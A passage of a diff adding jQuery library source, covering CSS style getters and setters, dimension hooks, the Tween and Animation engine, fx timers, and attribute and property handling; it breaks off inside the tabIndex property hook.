+		var ret, type, hooks,
+			origName = jQuery.camelCase( name ),
+			style = elem.style;
+
+		name = jQuery.cssProps[ origName ] ||
+			( jQuery.cssProps[ origName ] = vendorPropName( origName ) || origName );
+
+		// Gets hook for the prefixed version, then unprefixed version
+		hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ];
+
+		// Check if we're setting a value
+		if ( value !== undefined ) {
+			type = typeof value;
+
+			// Convert "+=" or "-=" to relative numbers (#7345)
+			if ( type === "string" && ( ret = rcssNum.exec( value ) ) && ret[ 1 ] ) {
+				value = adjustCSS( elem, name, ret );
+
+				// Fixes bug #9237
+				type = "number";
+			}
+
+			// Make sure that null and NaN values aren't set (#7116)
+			if ( value == null || value !== value ) {
+				return;
+			}
+
+			// If a number was passed in, add the unit (except for certain CSS properties)
+			if ( type === "number" ) {
+				value += ret && ret[ 3 ] || ( jQuery.cssNumber[ origName ] ? "" : "px" );
+			}
+
+			// Support: IE9-11+
+			// background-* props affect original clone's values
+			if ( !support.clearCloneStyle && value === "" && name.indexOf( "background" ) === 0 ) {
+				style[ name ] = "inherit";
+			}
+
+			// If a hook was provided, use that value, otherwise just set the specified value
+			if ( !hooks || !( "set" in hooks ) ||
+				( value = hooks.set( elem, value, extra ) ) !== undefined ) {
+
+				style[ name ] = value;
+			}
+
+		} else {
+
+			// If a hook was provided get the non-computed value from there
+			if ( hooks && "get" in hooks &&
+				( ret = hooks.get( elem, false, extra ) ) !== undefined ) {
+
+				return ret;
+			}
+
+			// Otherwise just get the value from the style object
+			return style[ name ];
+		}
+	},
+
+	css: function( elem, name, extra, styles ) {
+		var val, num, hooks,
+			origName = jQuery.camelCase( name );
+
+		// Make sure that we're working with the right name
+		name = jQuery.cssProps[ origName ] ||
+			( jQuery.cssProps[ origName ] = vendorPropName( origName ) || origName );
+
+		// Try prefixed name followed by the unprefixed name
+		hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ];
+
+		// If a hook was provided get the computed value from there
+		if ( hooks && "get" in hooks ) {
+			val = hooks.get( elem, true, extra );
+		}
+
+		// Otherwise, if a way to get the computed value exists, use that
+		if ( val === undefined ) {
+			val = curCSS( elem, name, styles );
+		}
+
+		// Convert "normal" to computed value
+		if ( val === "normal" && name in cssNormalTransform ) {
+			val = cssNormalTransform[ name ];
+		}
+
+		// Make numeric if forced or a qualifier was provided and val looks numeric
+		if ( extra === "" || extra ) {
+			num = parseFloat( val );
+			return extra === true || isFinite( num ) ? num || 0 : val;
+		}
+		return val;
+	}
+} );
+
+jQuery.each( [ "height", "width" ], function( i, name ) {
+	jQuery.cssHooks[ name ] = {
+		get: function( elem, computed, extra ) {
+			if ( computed ) {
+
+				// Certain elements can have dimension info if we invisibly show them
+				// but it must have a current display style that would benefit
+				return rdisplayswap.test( jQuery.css( elem, "display" ) ) &&
+					elem.offsetWidth === 0 ?
+						swap( elem, cssShow, function() {
+							return getWidthOrHeight( elem, name, extra );
+						} ) :
+						getWidthOrHeight( elem, name, extra );
+			}
+		},
+
+		set: function( elem, value, extra ) {
+			var matches,
+				styles = extra && getStyles( elem ),
+				subtract = extra && augmentWidthOrHeight(
+					elem,
+					name,
+					extra,
+					jQuery.css( elem, "boxSizing", false, styles ) === "border-box",
+					styles
+				);
+
+			// Convert to pixels if value adjustment is needed
+			if ( subtract && ( matches = rcssNum.exec( value ) ) &&
+				( matches[ 3 ] || "px" ) !== "px" ) {
+
+				elem.style[ name ] = value;
+				value = jQuery.css( elem, name );
+			}
+
+			return setPositiveNumber( elem, value, subtract );
+		}
+	};
+} );
+
+jQuery.cssHooks.marginLeft = addGetHookIf( support.reliableMarginLeft,
+	function( elem, computed ) {
+		if ( computed ) {
+			return ( parseFloat( curCSS( elem, "marginLeft" ) ) ||
+				elem.getBoundingClientRect().left -
+					swap( elem, { marginLeft: 0 }, function() {
+						return elem.getBoundingClientRect().left;
+					} )
+				) + "px";
+		}
+	}
+);
+
+// Support: Android 2.3
+jQuery.cssHooks.marginRight = addGetHookIf( support.reliableMarginRight,
+	function( elem, computed ) {
+		if ( computed ) {
+			return swap( elem, { "display": "inline-block" },
+				curCSS, [ elem, "marginRight" ] );
+		}
+	}
+);
+
+// These hooks are used by animate to expand properties
+jQuery.each( {
+	margin: "",
+	padding: "",
+	border: "Width"
+}, function( prefix, suffix ) {
+	jQuery.cssHooks[ prefix + suffix ] = {
+		expand: function( value ) {
+			var i = 0,
+				expanded = {},
+
+				// Assumes a single number if not a string
+				parts = typeof value === "string" ? value.split( " " ) : [ value ];
+
+			for ( ; i < 4; i++ ) {
+				expanded[ prefix + cssExpand[ i ] + suffix ] =
+					parts[ i ] || parts[ i - 2 ] || parts[ 0 ];
+			}
+
+			return expanded;
+		}
+	};
+
+	if ( !rmargin.test( prefix ) ) {
+		jQuery.cssHooks[ prefix + suffix ].set = setPositiveNumber;
+	}
+} );
+
+jQuery.fn.extend( {
+	css: function( name, value ) {
+		return access( this, function( elem, name, value ) {
+			var styles, len,
+				map = {},
+				i = 0;
+
+			if ( jQuery.isArray( name ) ) {
+				styles = getStyles( elem );
+				len = name.length;
+
+				for ( ; i < len; i++ ) {
+					map[ name[ i ] ] = jQuery.css( elem, name[ i ], false, styles );
+				}
+
+				return map;
+			}
+
+			return value !== undefined ?
+				jQuery.style( elem, name, value ) :
+				jQuery.css( elem, name );
+		}, name, value, arguments.length > 1 );
+	},
+	show: function() {
+		return showHide( this, true );
+	},
+	hide: function() {
+		return showHide( this );
+	},
+	toggle: function( state ) {
+		if ( typeof state === "boolean" ) {
+			return state ? this.show() : this.hide();
+		}
+
+		return this.each( function() {
+			if ( isHidden( this ) ) {
+				jQuery( this ).show();
+			} else {
+				jQuery( this ).hide();
+			}
+		} );
+	}
+} );
+
+
+function Tween( elem, options, prop, end, easing ) {
+	return new Tween.prototype.init( elem, options, prop, end, easing );
+}
+jQuery.Tween = Tween;
+
+Tween.prototype = {
+	constructor: Tween,
+	init: function( elem, options, prop, end, easing, unit ) {
+		this.elem = elem;
+		this.prop = prop;
+		this.easing = easing || jQuery.easing._default;
+		this.options = options;
+		this.start = this.now = this.cur();
+		this.end = end;
+		this.unit = unit || ( jQuery.cssNumber[ prop ] ? "" : "px" );
+	},
+	cur: function() {
+		var hooks = Tween.propHooks[ this.prop ];
+
+		return hooks && hooks.get ?
+			hooks.get( this ) :
+			Tween.propHooks._default.get( this );
+	},
+	run: function( percent ) {
+		var eased,
+			hooks = Tween.propHooks[ this.prop ];
+
+		if ( this.options.duration ) {
+			this.pos = eased = jQuery.easing[ this.easing ](
+				percent, this.options.duration * percent, 0, 1, this.options.duration
+			);
+		} else {
+			this.pos = eased = percent;
+		}
+		this.now = ( this.end - this.start ) * eased + this.start;
+
+		if ( this.options.step ) {
+			this.options.step.call( this.elem, this.now, this );
+		}
+
+		if ( hooks && hooks.set ) {
+			hooks.set( this );
+		} else {
+			Tween.propHooks._default.set( this );
+		}
+		return this;
+	}
+};
+
+Tween.prototype.init.prototype = Tween.prototype;
+
+Tween.propHooks = {
+	_default: {
+		get: function( tween ) {
+			var result;
+
+			// Use a property on the element directly when it is not a DOM element,
+			// or when there is no matching style property that exists.
+			if ( tween.elem.nodeType !== 1 ||
+				tween.elem[ tween.prop ] != null && tween.elem.style[ tween.prop ] == null ) {
+				return tween.elem[ tween.prop ];
+			}
+
+			// Passing an empty string as a 3rd parameter to .css will automatically
+			// attempt a parseFloat and fallback to a string if the parse fails.
+			// Simple values such as "10px" are parsed to Float;
+			// complex values such as "rotate(1rad)" are returned as-is.
+			result = jQuery.css( tween.elem, tween.prop, "" );
+
+			// Empty strings, null, undefined and "auto" are converted to 0.
+			return !result || result === "auto" ? 0 : result;
+		},
+		set: function( tween ) {
+
+			// Use step hook for back compat.
+			// Use cssHook if its there.
+			// Use .style if available and use plain properties where available.
+			if ( jQuery.fx.step[ tween.prop ] ) {
+				jQuery.fx.step[ tween.prop ]( tween );
+			} else if ( tween.elem.nodeType === 1 &&
+				( tween.elem.style[ jQuery.cssProps[ tween.prop ] ] != null ||
+					jQuery.cssHooks[ tween.prop ] ) ) {
+				jQuery.style( tween.elem, tween.prop, tween.now + tween.unit );
+			} else {
+				tween.elem[ tween.prop ] = tween.now;
+			}
+		}
+	}
+};
+
+// Support: IE9
+// Panic based approach to setting things on disconnected nodes
+Tween.propHooks.scrollTop = Tween.propHooks.scrollLeft = {
+	set: function( tween ) {
+		if ( tween.elem.nodeType && tween.elem.parentNode ) {
+			tween.elem[ tween.prop ] = tween.now;
+		}
+	}
+};
+
+jQuery.easing = {
+	linear: function( p ) {
+		return p;
+	},
+	swing: function( p ) {
+		return 0.5 - Math.cos( p * Math.PI ) / 2;
+	},
+	_default: "swing"
+};
+
+jQuery.fx = Tween.prototype.init;
+
+// Back Compat <1.8 extension point
+jQuery.fx.step = {};
+
+
+
+
+var
+	fxNow, timerId,
+	rfxtypes = /^(?:toggle|show|hide)$/,
+	rrun = /queueHooks$/;
+
+// Animations created synchronously will run synchronously
+function createFxNow() {
+	window.setTimeout( function() {
+		fxNow = undefined;
+	} );
+	return ( fxNow = jQuery.now() );
+}
+
+// Generate parameters to create a standard animation
+function genFx( type, includeWidth ) {
+	var which,
+		i = 0,
+		attrs = { height: type };
+
+	// If we include width, step value is 1 to do all cssExpand values,
+	// otherwise step value is 2 to skip over Left and Right
+	includeWidth = includeWidth ? 1 : 0;
+	for ( ; i < 4 ; i += 2 - includeWidth ) {
+		which = cssExpand[ i ];
+		attrs[ "margin" + which ] = attrs[ "padding" + which ] = type;
+	}
+
+	if ( includeWidth ) {
+		attrs.opacity = attrs.width = type;
+	}
+
+	return attrs;
+}
+
+function createTween( value, prop, animation ) {
+	var tween,
+		collection = ( Animation.tweeners[ prop ] || [] ).concat( Animation.tweeners[ "*" ] ),
+		index = 0,
+		length = collection.length;
+	for ( ; index < length; index++ ) {
+		if ( ( tween = collection[ index ].call( animation, prop, value ) ) ) {
+
+			// We're done with this property
+			return tween;
+		}
+	}
+}
+
+function defaultPrefilter( elem, props, opts ) {
+	/* jshint validthis: true */
+	var prop, value, toggle, tween, hooks, oldfire, display, checkDisplay,
+		anim = this,
+		orig = {},
+		style = elem.style,
+		hidden = elem.nodeType && isHidden( elem ),
+		dataShow = dataPriv.get( elem, "fxshow" );
+
+	// Handle queue: false promises
+	if ( !opts.queue ) {
+		hooks = jQuery._queueHooks( elem, "fx" );
+		if ( hooks.unqueued == null ) {
+			hooks.unqueued = 0;
+			oldfire = hooks.empty.fire;
+			hooks.empty.fire = function() {
+				if ( !hooks.unqueued ) {
+					oldfire();
+				}
+			};
+		}
+		hooks.unqueued++;
+
+		anim.always( function() {
+
+			// Ensure the complete handler is called before this completes
+			anim.always( function() {
+				hooks.unqueued--;
+				if ( !jQuery.queue( elem, "fx" ).length ) {
+					hooks.empty.fire();
+				}
+			} );
+		} );
+	}
+
+	// Height/width overflow pass
+	if ( elem.nodeType === 1 && ( "height" in props || "width" in props ) ) {
+
+		// Make sure that nothing sneaks out
+		// Record all 3 overflow attributes because IE9-10 do not
+		// change the overflow attribute when overflowX and
+		// overflowY are set to the same value
+		opts.overflow = [ style.overflow, style.overflowX, style.overflowY ];
+
+		// Set display property to inline-block for height/width
+		// animations on inline elements that are having width/height animated
+		display = jQuery.css( elem, "display" );
+
+		// Test default display if display is currently "none"
+		checkDisplay = display === "none" ?
+			dataPriv.get( elem, "olddisplay" ) || defaultDisplay( elem.nodeName ) : display;
+
+		if ( checkDisplay === "inline" && jQuery.css( elem, "float" ) === "none" ) {
+			style.display = "inline-block";
+		}
+	}
+
+	if ( opts.overflow ) {
+		style.overflow = "hidden";
+		anim.always( function() {
+			style.overflow = opts.overflow[ 0 ];
+			style.overflowX = opts.overflow[ 1 ];
+			style.overflowY = opts.overflow[ 2 ];
+		} );
+	}
+
+	// show/hide pass
+	for ( prop in props ) {
+		value = props[ prop ];
+		if ( rfxtypes.exec( value ) ) {
+			delete props[ prop ];
+			toggle = toggle || value === "toggle";
+			if ( value === ( hidden ? "hide" : "show" ) ) {
+
+				// If there is dataShow left over from a stopped hide or show
+				// and we are going to proceed with show, we should pretend to be hidden
+				if ( value === "show" && dataShow && dataShow[ prop ] !== undefined ) {
+					hidden = true;
+				} else {
+					continue;
+				}
+			}
+			orig[ prop ] = dataShow && dataShow[ prop ] || jQuery.style( elem, prop );
+
+		// Any non-fx value stops us from restoring the original display value
+		} else {
+			display = undefined;
+		}
+	}
+
+	if ( !jQuery.isEmptyObject( orig ) ) {
+		if ( dataShow ) {
+			if ( "hidden" in dataShow ) {
+				hidden = dataShow.hidden;
+			}
+		} else {
+			dataShow = dataPriv.access( elem, "fxshow", {} );
+		}
+
+		// Store state if its toggle - enables .stop().toggle() to "reverse"
+		if ( toggle ) {
+			dataShow.hidden = !hidden;
+		}
+		if ( hidden ) {
+			jQuery( elem ).show();
+		} else {
+			anim.done( function() {
+				jQuery( elem ).hide();
+			} );
+		}
+		anim.done( function() {
+			var prop;
+
+			dataPriv.remove( elem, "fxshow" );
+			for ( prop in orig ) {
+				jQuery.style( elem, prop, orig[ prop ] );
+			}
+		} );
+		for ( prop in orig ) {
+			tween = createTween( hidden ? dataShow[ prop ] : 0, prop, anim );
+
+			if ( !( prop in dataShow ) ) {
+				dataShow[ prop ] = tween.start;
+				if ( hidden ) {
+					tween.end = tween.start;
+					tween.start = prop === "width" || prop === "height" ? 1 : 0;
+				}
+			}
+		}
+
+	// If this is a noop like .hide().hide(), restore an overwritten display value
+	} else if ( ( display === "none" ? defaultDisplay( elem.nodeName ) : display ) === "inline" ) {
+		style.display = display;
+	}
+}
+
+function propFilter( props, specialEasing ) {
+	var index, name, easing, value, hooks;
+
+	// camelCase, specialEasing and expand cssHook pass
+	for ( index in props ) {
+		name = jQuery.camelCase( index );
+		easing = specialEasing[ name ];
+		value = props[ index ];
+		if ( jQuery.isArray( value ) ) {
+			easing = value[ 1 ];
+			value = props[ index ] = value[ 0 ];
+		}
+
+		if ( index !== name ) {
+			props[ name ] = value;
+			delete props[ index ];
+		}
+
+		hooks = jQuery.cssHooks[ name ];
+		if ( hooks && "expand" in hooks ) {
+			value = hooks.expand( value );
+			delete props[ name ];
+
+			// Not quite $.extend, this won't overwrite existing keys.
+			// Reusing 'index' because we have the correct "name"
+			for ( index in value ) {
+				if ( !( index in props ) ) {
+					props[ index ] = value[ index ];
+					specialEasing[ index ] = easing;
+				}
+			}
+		} else {
+			specialEasing[ name ] = easing;
+		}
+	}
+}
+
+function Animation( elem, properties, options ) {
+	var result,
+		stopped,
+		index = 0,
+		length = Animation.prefilters.length,
+		deferred = jQuery.Deferred().always( function() {
+
+			// Don't match elem in the :animated selector
+			delete tick.elem;
+		} ),
+		tick = function() {
+			if ( stopped ) {
+				return false;
+			}
+			var currentTime = fxNow || createFxNow(),
+				remaining = Math.max( 0, animation.startTime + animation.duration - currentTime ),
+
+				// Support: Android 2.3
+				// Archaic crash bug won't allow us to use `1 - ( 0.5 || 0 )` (#12497)
+				temp = remaining / animation.duration || 0,
+				percent = 1 - temp,
+				index = 0,
+				length = animation.tweens.length;
+
+			for ( ; index < length ; index++ ) {
+				animation.tweens[ index ].run( percent );
+			}
+
+			deferred.notifyWith( elem, [ animation, percent, remaining ] );
+
+			if ( percent < 1 && length ) {
+				return remaining;
+			} else {
+				deferred.resolveWith( elem, [ animation ] );
+				return false;
+			}
+		},
+		animation = deferred.promise( {
+			elem: elem,
+			props: jQuery.extend( {}, properties ),
+			opts: jQuery.extend( true, {
+				specialEasing: {},
+				easing: jQuery.easing._default
+			}, options ),
+			originalProperties: properties,
+			originalOptions: options,
+			startTime: fxNow || createFxNow(),
+			duration: options.duration,
+			tweens: [],
+			createTween: function( prop, end ) {
+				var tween = jQuery.Tween( elem, animation.opts, prop, end,
+						animation.opts.specialEasing[ prop ] || animation.opts.easing );
+				animation.tweens.push( tween );
+				return tween;
+			},
+			stop: function( gotoEnd ) {
+				var index = 0,
+
+					// If we are going to the end, we want to run all the tweens
+					// otherwise we skip this part
+					length = gotoEnd ? animation.tweens.length : 0;
+				if ( stopped ) {
+					return this;
+				}
+				stopped = true;
+				for ( ; index < length ; index++ ) {
+					animation.tweens[ index ].run( 1 );
+				}
+
+				// Resolve when we played the last frame; otherwise, reject
+				if ( gotoEnd ) {
+					deferred.notifyWith( elem, [ animation, 1, 0 ] );
+					deferred.resolveWith( elem, [ animation, gotoEnd ] );
+				} else {
+					deferred.rejectWith( elem, [ animation, gotoEnd ] );
+				}
+				return this;
+			}
+		} ),
+		props = animation.props;
+
+	propFilter( props, animation.opts.specialEasing );
+
+	for ( ; index < length ; index++ ) {
+		result = Animation.prefilters[ index ].call( animation, elem, props, animation.opts );
+		if ( result ) {
+			if ( jQuery.isFunction( result.stop ) ) {
+				jQuery._queueHooks( animation.elem, animation.opts.queue ).stop =
+					jQuery.proxy( result.stop, result );
+			}
+			return result;
+		}
+	}
+
+	jQuery.map( props, createTween, animation );
+
+	if ( jQuery.isFunction( animation.opts.start ) ) {
+		animation.opts.start.call( elem, animation );
+	}
+
+	jQuery.fx.timer(
+		jQuery.extend( tick, {
+			elem: elem,
+			anim: animation,
+			queue: animation.opts.queue
+		} )
+	);
+
+	// attach callbacks from options
+	return animation.progress( animation.opts.progress )
+		.done( animation.opts.done, animation.opts.complete )
+		.fail( animation.opts.fail )
+		.always( animation.opts.always );
+}
+
+jQuery.Animation = jQuery.extend( Animation, {
+	tweeners: {
+		"*": [ function( prop, value ) {
+			var tween = this.createTween( prop, value );
+			adjustCSS( tween.elem, prop, rcssNum.exec( value ), tween );
+			return tween;
+		} ]
+	},
+
+	tweener: function( props, callback ) {
+		if ( jQuery.isFunction( props ) ) {
+			callback = props;
+			props = [ "*" ];
+		} else {
+			props = props.match( rnotwhite );
+		}
+
+		var prop,
+			index = 0,
+			length = props.length;
+
+		for ( ; index < length ; index++ ) {
+			prop = props[ index ];
+			Animation.tweeners[ prop ] = Animation.tweeners[ prop ] || [];
+			Animation.tweeners[ prop ].unshift( callback );
+		}
+	},
+
+	prefilters: [ defaultPrefilter ],
+
+	prefilter: function( callback, prepend ) {
+		if ( prepend ) {
+			Animation.prefilters.unshift( callback );
+		} else {
+			Animation.prefilters.push( callback );
+		}
+	}
+} );
+
+jQuery.speed = function( speed, easing, fn ) {
+	var opt = speed && typeof speed === "object" ? jQuery.extend( {}, speed ) : {
+		complete: fn || !fn && easing ||
+			jQuery.isFunction( speed ) && speed,
+		duration: speed,
+		easing: fn && easing || easing && !jQuery.isFunction( easing ) && easing
+	};
+
+	opt.duration = jQuery.fx.off ? 0 : typeof opt.duration === "number" ?
+		opt.duration : opt.duration in jQuery.fx.speeds ?
+			jQuery.fx.speeds[ opt.duration ] : jQuery.fx.speeds._default;
+
+	// Normalize opt.queue - true/undefined/null -> "fx"
+	if ( opt.queue == null || opt.queue === true ) {
+		opt.queue = "fx";
+	}
+
+	// Queueing
+	opt.old = opt.complete;
+
+	opt.complete = function() {
+		if ( jQuery.isFunction( opt.old ) ) {
+			opt.old.call( this );
+		}
+
+		if ( opt.queue ) {
+			jQuery.dequeue( this, opt.queue );
+		}
+	};
+
+	return opt;
+};
+
+jQuery.fn.extend( {
+	fadeTo: function( speed, to, easing, callback ) {
+
+		// Show any hidden elements after setting opacity to 0
+		return this.filter( isHidden ).css( "opacity", 0 ).show()
+
+			// Animate to the value specified
+			.end().animate( { opacity: to }, speed, easing, callback );
+	},
+	animate: function( prop, speed, easing, callback ) {
+		var empty = jQuery.isEmptyObject( prop ),
+			optall = jQuery.speed( speed, easing, callback ),
+			doAnimation = function() {
+
+				// Operate on a copy of prop so per-property easing won't be lost
+				var anim = Animation( this, jQuery.extend( {}, prop ), optall );
+
+				// Empty animations, or finishing resolves immediately
+				if ( empty || dataPriv.get( this, "finish" ) ) {
+					anim.stop( true );
+				}
+			};
+			doAnimation.finish = doAnimation;
+
+		return empty || optall.queue === false ?
+			this.each( doAnimation ) :
+			this.queue( optall.queue, doAnimation );
+	},
+	stop: function( type, clearQueue, gotoEnd ) {
+		var stopQueue = function( hooks ) {
+			var stop = hooks.stop;
+			delete hooks.stop;
+			stop( gotoEnd );
+		};
+
+		if ( typeof type !== "string" ) {
+			gotoEnd = clearQueue;
+			clearQueue = type;
+			type = undefined;
+		}
+		if ( clearQueue && type !== false ) {
+			this.queue( type || "fx", [] );
+		}
+
+		return this.each( function() {
+			var dequeue = true,
+				index = type != null && type + "queueHooks",
+				timers = jQuery.timers,
+				data = dataPriv.get( this );
+
+			if ( index ) {
+				if ( data[ index ] && data[ index ].stop ) {
+					stopQueue( data[ index ] );
+				}
+			} else {
+				for ( index in data ) {
+					if ( data[ index ] && data[ index ].stop && rrun.test( index ) ) {
+						stopQueue( data[ index ] );
+					}
+				}
+			}
+
+			for ( index = timers.length; index--; ) {
+				if ( timers[ index ].elem === this &&
+					( type == null || timers[ index ].queue === type ) ) {
+
+					timers[ index ].anim.stop( gotoEnd );
+					dequeue = false;
+					timers.splice( index, 1 );
+				}
+			}
+
+			// Start the next in the queue if the last step wasn't forced.
+			// Timers currently will call their complete callbacks, which
+			// will dequeue but only if they were gotoEnd.
+			if ( dequeue || !gotoEnd ) {
+				jQuery.dequeue( this, type );
+			}
+		} );
+	},
+	finish: function( type ) {
+		if ( type !== false ) {
+			type = type || "fx";
+		}
+		return this.each( function() {
+			var index,
+				data = dataPriv.get( this ),
+				queue = data[ type + "queue" ],
+				hooks = data[ type + "queueHooks" ],
+				timers = jQuery.timers,
+				length = queue ? queue.length : 0;
+
+			// Enable finishing flag on private data
+			data.finish = true;
+
+			// Empty the queue first
+			jQuery.queue( this, type, [] );
+
+			if ( hooks && hooks.stop ) {
+				hooks.stop.call( this, true );
+			}
+
+			// Look for any active animations, and finish them
+			for ( index = timers.length; index--; ) {
+				if ( timers[ index ].elem === this && timers[ index ].queue === type ) {
+					timers[ index ].anim.stop( true );
+					timers.splice( index, 1 );
+				}
+			}
+
+			// Look for any animations in the old queue and finish them
+			for ( index = 0; index < length; index++ ) {
+				if ( queue[ index ] && queue[ index ].finish ) {
+					queue[ index ].finish.call( this );
+				}
+			}
+
+			// Turn off finishing flag
+			delete data.finish;
+		} );
+	}
+} );
+
+jQuery.each( [ "toggle", "show", "hide" ], function( i, name ) {
+	var cssFn = jQuery.fn[ name ];
+	jQuery.fn[ name ] = function( speed, easing, callback ) {
+		return speed == null || typeof speed === "boolean" ?
+			cssFn.apply( this, arguments ) :
+			this.animate( genFx( name, true ), speed, easing, callback );
+	};
+} );
+
+// Generate shortcuts for custom animations
+jQuery.each( {
+	slideDown: genFx( "show" ),
+	slideUp: genFx( "hide" ),
+	slideToggle: genFx( "toggle" ),
+	fadeIn: { opacity: "show" },
+	fadeOut: { opacity: "hide" },
+	fadeToggle: { opacity: "toggle" }
+}, function( name, props ) {
+	jQuery.fn[ name ] = function( speed, easing, callback ) {
+		return this.animate( props, speed, easing, callback );
+	};
+} );
+
+jQuery.timers = [];
+jQuery.fx.tick = function() {
+	var timer,
+		i = 0,
+		timers = jQuery.timers;
+
+	fxNow = jQuery.now();
+
+	for ( ; i < timers.length; i++ ) {
+		timer = timers[ i ];
+
+		// Checks the timer has not already been removed
+		if ( !timer() && timers[ i ] === timer ) {
+			timers.splice( i--, 1 );
+		}
+	}
+
+	if ( !timers.length ) {
+		jQuery.fx.stop();
+	}
+	fxNow = undefined;
+};
+
+jQuery.fx.timer = function( timer ) {
+	jQuery.timers.push( timer );
+	if ( timer() ) {
+		jQuery.fx.start();
+	} else {
+		jQuery.timers.pop();
+	}
+};
+
+jQuery.fx.interval = 13;
+jQuery.fx.start = function() {
+	if ( !timerId ) {
+		timerId = window.setInterval( jQuery.fx.tick, jQuery.fx.interval );
+	}
+};
+
+jQuery.fx.stop = function() {
+	window.clearInterval( timerId );
+
+	timerId = null;
+};
+
+jQuery.fx.speeds = {
+	slow: 600,
+	fast: 200,
+
+	// Default speed
+	_default: 400
+};
+
+
+// Based off of the plugin by Clint Helfers, with permission.
+// http://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/
+jQuery.fn.delay = function( time, type ) {
+	time = jQuery.fx ? jQuery.fx.speeds[ time ] || time : time;
+	type = type || "fx";
+
+	return this.queue( type, function( next, hooks ) {
+		var timeout = window.setTimeout( next, time );
+		hooks.stop = function() {
+			window.clearTimeout( timeout );
+		};
+	} );
+};
+
+
+( function() {
+	var input = document.createElement( "input" ),
+		select = document.createElement( "select" ),
+		opt = select.appendChild( document.createElement( "option" ) );
+
+	input.type = "checkbox";
+
+	// Support: iOS<=5.1, Android<=4.2+
+	// Default value for a checkbox should be "on"
+	support.checkOn = input.value !== "";
+
+	// Support: IE<=11+
+	// Must access selectedIndex to make default options select
+	support.optSelected = opt.selected;
+
+	// Support: Android<=2.3
+	// Options inside disabled selects are incorrectly marked as disabled
+	select.disabled = true;
+	support.optDisabled = !opt.disabled;
+
+	// Support: IE<=11+
+	// An input loses its value after becoming a radio
+	input = document.createElement( "input" );
+	input.value = "t";
+	input.type = "radio";
+	support.radioValue = input.value === "t";
+} )();
+
+
+var boolHook,
+	attrHandle = jQuery.expr.attrHandle;
+
+jQuery.fn.extend( {
+	attr: function( name, value ) {
+		return access( this, jQuery.attr, name, value, arguments.length > 1 );
+	},
+
+	removeAttr: function( name ) {
+		return this.each( function() {
+			jQuery.removeAttr( this, name );
+		} );
+	}
+} );
+
+jQuery.extend( {
+	attr: function( elem, name, value ) {
+		var ret, hooks,
+			nType = elem.nodeType;
+
+		// Don't get/set attributes on text, comment and attribute nodes
+		if ( nType === 3 || nType === 8 || nType === 2 ) {
+			return;
+		}
+
+		// Fallback to prop when attributes are not supported
+		if ( typeof elem.getAttribute === "undefined" ) {
+			return jQuery.prop( elem, name, value );
+		}
+
+		// All attributes are lowercase
+		// Grab necessary hook if one is defined
+		if ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) {
+			name = name.toLowerCase();
+			hooks = jQuery.attrHooks[ name ] ||
+				( jQuery.expr.match.bool.test( name ) ? boolHook : undefined );
+		}
+
+		if ( value !== undefined ) {
+			if ( value === null ) {
+				jQuery.removeAttr( elem, name );
+				return;
+			}
+
+			if ( hooks && "set" in hooks &&
+				( ret = hooks.set( elem, value, name ) ) !== undefined ) {
+				return ret;
+			}
+
+			elem.setAttribute( name, value + "" );
+			return value;
+		}
+
+		if ( hooks && "get" in hooks && ( ret = hooks.get( elem, name ) ) !== null ) {
+			return ret;
+		}
+
+		ret = jQuery.find.attr( elem, name );
+
+		// Non-existent attributes return null, we normalize to undefined
+		return ret == null ? undefined : ret;
+	},
+
+	attrHooks: {
+		type: {
+			set: function( elem, value ) {
+				if ( !support.radioValue && value === "radio" &&
+					jQuery.nodeName( elem, "input" ) ) {
+					var val = elem.value;
+					elem.setAttribute( "type", value );
+					if ( val ) {
+						elem.value = val;
+					}
+					return value;
+				}
+			}
+		}
+	},
+
+	removeAttr: function( elem, value ) {
+		var name, propName,
+			i = 0,
+			attrNames = value && value.match( rnotwhite );
+
+		if ( attrNames && elem.nodeType === 1 ) {
+			while ( ( name = attrNames[ i++ ] ) ) {
+				propName = jQuery.propFix[ name ] || name;
+
+				// Boolean attributes get special treatment (#10870)
+				if ( jQuery.expr.match.bool.test( name ) ) {
+
+					// Set corresponding property to false
+					elem[ propName ] = false;
+				}
+
+				elem.removeAttribute( name );
+			}
+		}
+	}
+} );
+
+// Hooks for boolean attributes
+boolHook = {
+	set: function( elem, value, name ) {
+		if ( value === false ) {
+
+			// Remove boolean attributes when set to false
+			jQuery.removeAttr( elem, name );
+		} else {
+			elem.setAttribute( name, name );
+		}
+		return name;
+	}
+};
+jQuery.each( jQuery.expr.match.bool.source.match( /\w+/g ), function( i, name ) {
+	var getter = attrHandle[ name ] || jQuery.find.attr;
+
+	attrHandle[ name ] = function( elem, name, isXML ) {
+		var ret, handle;
+		if ( !isXML ) {
+
+			// Avoid an infinite loop by temporarily removing this function from the getter
+			handle = attrHandle[ name ];
+			attrHandle[ name ] = ret;
+			ret = getter( elem, name, isXML ) != null ?
+				name.toLowerCase() :
+				null;
+			attrHandle[ name ] = handle;
+		}
+		return ret;
+	};
+} );
+
+
+
+
+var rfocusable = /^(?:input|select|textarea|button)$/i,
+	rclickable = /^(?:a|area)$/i;
+
+jQuery.fn.extend( {
+	prop: function( name, value ) {
+		return access( this, jQuery.prop, name, value, arguments.length > 1 );
+	},
+
+	removeProp: function( name ) {
+		return this.each( function() {
+			delete this[ jQuery.propFix[ name ] || name ];
+		} );
+	}
+} );
+
+jQuery.extend( {
+	prop: function( elem, name, value ) {
+		var ret, hooks,
+			nType = elem.nodeType;
+
+		// Don't get/set properties on text, comment and attribute nodes
+		if ( nType === 3 || nType === 8 || nType === 2 ) {
+			return;
+		}
+
+		if ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) {
+
+			// Fix name and attach hooks
+			name = jQuery.propFix[ name ] || name;
+			hooks = jQuery.propHooks[ name ];
+		}
+
+		if ( value !== undefined ) {
+			if ( hooks && "set" in hooks &&
+				( ret = hooks.set( elem, value, name ) ) !== undefined ) {
+				return ret;
+			}
+
+			return ( elem[ name ] = value );
+		}
+
+		if ( hooks && "get" in hooks && ( ret = hooks.get( elem, name ) ) !== null ) {
+			return ret;
+		}
+
+		return elem[ name ];
+	},
+
+	propHooks: {
+		tabIndex: {
+			get: function( elem ) {
+
+				// elem.tabIndex doesn't always return the
+				// correct value when it hasn't been explicitly set
+				// http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript/
+				// Use proper attribute retrieval(#12072)
+				var tabindex = jQuery.find.attr( elem, "tabindex" );
+
+				return tabindex ?
+					parseInt( tabindex, 10 ) :
